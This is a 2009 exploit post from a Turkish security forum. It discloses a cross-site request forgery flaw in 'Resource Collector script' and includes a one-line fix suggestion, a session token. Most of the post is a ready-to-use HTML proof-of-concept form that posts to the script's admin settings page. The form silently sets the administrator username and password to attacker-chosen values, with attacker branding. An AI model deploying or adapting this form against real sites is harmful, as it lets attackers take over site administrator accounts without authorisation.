Resource Collector script ~ XSRF Vuln. | Cyber-Warrior Information Technology's World

Root > Exploits / Vulnerabilities > Resource Collector scr*ipt ~ XSRF Vuln.

Madde
	Author : Bug Researchers/Fl0riX
	Date : 04.11.2009 23:31:20
	# Resource Collector scr*ipt ~ XSRF Vuln. [Full Screen Display]

	< ------------------- header data start ------------------- > ############################################################# # Application Name : Resource Collector script # vulnerable Type : XSRF # Infection : Admin sifresi degistirilebilir ..! # Bug Fix Advice : Form’a Oturum Key’i (Session Token) eklenmelidir ! # author : Fl0riX ~ Bug Researchers ############################################################# < ------------------- header data end of ------------------- > < -- bug code start -- > <title>Fl0riX Bug Researchers Group</title> <form action=’http://site.com/admin/index.php?command=settings’ method=POST> <input type=’hidden’ name=’command’ value=’settings’> <input type=’hidden’ name=’param’ value=’update’> <input readonly value=’Fl0rix’ class=’field’ name=’admin_user_name’ type=text size=25> <input readonly value=’florixx’ class=’field’ name=’admin_password’ type=password size=25> <input name=’save’ value=’attackFl0riXbaba’ class=’button’ type=submit > </form> < -- bug code end of -- >